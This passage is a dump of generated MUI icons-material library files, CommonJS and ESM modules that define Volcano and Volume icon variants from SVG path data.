    "path": "packages/mui-icons-material/lib/VolcanoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 8h-4.14c-.82 0-1.55.5-1.86 1.26L9 13H7.3c-.79 0-1.51.47-1.83 1.19l-2.22 5C2.66 20.51 3.63 22 5.08 22h14.27c1.33 0 2.29-1.27 1.92-2.55l-2.86-10C18.17 8.59 17.38 8 16.49 8M14 1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1m5.66 2.34a.996.996 0 0 0-1.41 0l-1.41 1.41c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l1.41-1.41c.39-.38.39-1.02 0-1.41m-8.49 1.42L9.76 3.34a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.41 1.41c.39.39 1.02.39 1.41 0 .39-.38.39-1.01 0-1.4\"\n}), 'VolcanoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zm-5-7h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}), 'VolcanoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zm-5-7h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}), 'VolcanoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 10h-4.14l-1.49 3.74-.51 1.26H7.3l-2.22 5h14.27z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zM7.3 15h3.05l.5-1.26 1.5-3.74h4.14l2.86 10H5.08zM13 1h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}, \"1\")], 'VolcanoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 10h-4.14l-1.49 3.74-.51 1.26H7.3l-2.22 5h14.27z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zM7.3 15h3.05l.5-1.26 1.5-3.74h4.14l2.86 10H5.08zM13 1h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}, \"1\")], 'VolcanoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M5 9v6h4l5 5V4L9 9z\"\n}), 'VolumeDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M5 9v6h4l5 5V4L9 9z\"\n}), 'VolumeDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7.97v8.05c1.48-.73 2.5-2.25 2.5-4.02S15.48 8.71 14 7.97M3 9v6h4l5 5V4L7 9z\"\n}), 'VolumeDownAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7.97v8.05c1.48-.73 2.5-2.25 2.5-4.02S15.48 8.71 14 7.97M3 9v6h4l5 5V4L7 9z\"\n}), 'VolumeDownAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.97v8.05c1.48-.73 2.5-2.25 2.5-4.02S17.48 8.71 16 7.97M5 9v6h4l5 5V4L9 9zm7-.17v6.34L9.83 13H7v-2h2.83z\"\n}), 'VolumeDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.97v8.05c1.48-.73 2.5-2.25 2.5-4.02S17.48 8.71 16 7.97M5 9v6h4l5 5V4L9 9zm7-.17v6.34L9.83 13H7v-2h2.83z\"\n}), 'VolumeDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M5 10v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71V6.41c0-.89-1.08-1.34-1.71-.71L9 9H6c-.55 0-1 .45-1 1\"\n}), 'VolumeDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M5 10v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71V6.41c0-.89-1.08-1.34-1.71-.71L9 9H6c-.55 0-1 .45-1 1\"\n}), 'VolumeDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M5 9v6h4l5 5V4L9 9z\"\n}), 'VolumeDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M5 9v6h4l5 5V4L9 9z\"\n}), 'VolumeDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13h2.83L12 15.17V8.83L9.83 11H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7.97v8.05c1.48-.73 2.5-2.25 2.5-4.02S17.48 8.71 16 7.97M5 9v6h4l5 5V4L9 9zm7-.17v6.34L9.83 13H7v-2h2.83z\"\n}, \"1\")], 'VolumeDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13h2.83L12 15.17V8.83L9.83 11H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7.97v8.05c1.48-.73 2.5-2.25 2.5-4.02S17.48 8.71 16 7.97M5 9v6h4l5 5V4L9 9zm7-.17v6.34L9.83 13H7v-2h2.83z\"\n}, \"1\")], 'VolumeDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMute.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9v6h4l5 5V4l-5 5z\"\n}), 'VolumeMute');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMute.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9v6h4l5 5V4l-5 5z\"\n}), 'VolumeMute');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8.83v6.34L11.83 13H9v-2h2.83zM16 4l-5 5H7v6h4l5 5z\"\n}), 'VolumeMuteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8.83v6.34L11.83 13H9v-2h2.83zM16 4l-5 5H7v6h4l5 5z\"\n}), 'VolumeMuteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 10v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71V6.41c0-.89-1.08-1.34-1.71-.71L11 9H8c-.55 0-1 .45-1 1\"\n}), 'VolumeMuteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 10v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71V6.41c0-.89-1.08-1.34-1.71-.71L11 9H8c-.55 0-1 .45-1 1\"\n}), 'VolumeMuteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9v6h4l5 5V4l-5 5z\"\n}), 'VolumeMuteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9v6h4l5 5V4l-5 5z\"\n}), 'VolumeMuteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13h2.83L14 15.17V8.83L11.83 11H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9v6h4l5 5V4l-5 5zm7-.17v6.34L11.83 13H9v-2h2.83z\"\n}, \"1\")], 'VolumeMuteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeMuteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13h2.83L14 15.17V8.83L11.83 11H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9v6h4l5 5V4l-5 5zm7-.17v6.34L11.83 13H9v-2h2.83z\"\n}, \"1\")], 'VolumeMuteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63m2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71M4.27 3 3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9zM12 4 9.91 6.09 12 8.18z\"\n}), 'VolumeOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63m2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71M4.27 3 3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9zM12 4 9.91 6.09 12 8.18z\"\n}), 'VolumeOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.34 2.93 2.93 4.34 7.29 8.7 7 9H3v6h4l5 5v-6.59l4.18 4.18c-.65.49-1.38.88-2.18 1.11v2.06c1.34-.3 2.57-.92 3.61-1.75l2.05 2.05 1.41-1.41zM10 15.17 7.83 13H5v-2h2.83l.88-.88L10 11.41zM19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71m-7-8-1.88 1.88L12 7.76zm4.5 8c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}), 'VolumeOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.34 2.93 2.93 4.34 7.29 8.7 7 9H3v6h4l5 5v-6.59l4.18 4.18c-.65.49-1.38.88-2.18 1.11v2.06c1.34-.3 2.57-.92 3.61-1.75l2.05 2.05 1.41-1.41zM10 15.17 7.83 13H5v-2h2.83l.88-.88L10 11.41zM19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71m-7-8-1.88 1.88L12 7.76zm4.5 8c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}), 'VolumeOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.63 3.63c-.39.39-.39 1.02 0 1.41L7.29 8.7 7 9H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71v-4.17l4.18 4.18c-.49.37-1.02.68-1.6.91-.36.15-.58.53-.58.92 0 .72.73 1.18 1.39.91.8-.33 1.55-.77 2.22-1.31l1.34 1.34c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.05 3.63c-.39-.39-1.02-.39-1.42 0M19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-3.83-2.4-7.11-5.78-8.4-.59-.23-1.22.23-1.22.86v.19c0 .38.25.71.61.85C17.18 6.54 19 9.06 19 12m-8.71-6.29-.17.17L12 7.76V6.41c0-.89-1.08-1.33-1.71-.7M16.5 12c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}), 'VolumeOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.63 3.63c-.39.39-.39 1.02 0 1.41L7.29 8.7 7 9H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71v-4.17l4.18 4.18c-.49.37-1.02.68-1.6.91-.36.15-.58.53-.58.92 0 .72.73 1.18 1.39.91.8-.33 1.55-.77 2.22-1.31l1.34 1.34c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.05 3.63c-.39-.39-1.02-.39-1.42 0M19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-3.83-2.4-7.11-5.78-8.4-.59-.23-1.22.23-1.22.86v.19c0 .38.25.71.61.85C17.18 6.54 19 9.06 19 12m-8.71-6.29-.17.17L12 7.76V6.41c0-.89-1.08-1.33-1.71-.7M16.5 12c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}), 'VolumeOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.34 2.93 2.93 4.34 7.29 8.7 7 9H3v6h4l5 5v-6.59l4.18 4.18c-.65.49-1.38.88-2.18 1.11v2.06c1.34-.3 2.57-.92 3.61-1.75l2.05 2.05 1.41-1.41zM19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71m-7-8-1.88 1.88L12 7.76zm4.5 8c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}), 'VolumeOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.34 2.93 2.93 4.34 7.29 8.7 7 9H3v6h4l5 5v-6.59l4.18 4.18c-.65.49-1.38.88-2.18 1.11v2.06c1.34-.3 2.57-.92 3.61-1.75l2.05 2.05 1.41-1.41zM19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71m-7-8-1.88 1.88L12 7.76zm4.5 8c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}), 'VolumeOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 11H5v2h2.83L10 15.17v-3.76l-1.29-1.29z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.34 2.93 2.93 4.34 7.29 8.7 7 9H3v6h4l5 5v-6.59l4.18 4.18c-.65.49-1.38.88-2.18 1.11v2.06c1.34-.3 2.57-.92 3.61-1.75l2.05 2.05 1.41-1.41zM10 15.17 7.83 13H5v-2h2.83l.88-.88L10 11.41zM19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71m-7-8-1.88 1.88L12 7.76zm4.5 8c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}, \"1\")], 'VolumeOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeOffTwoTone.mjs",
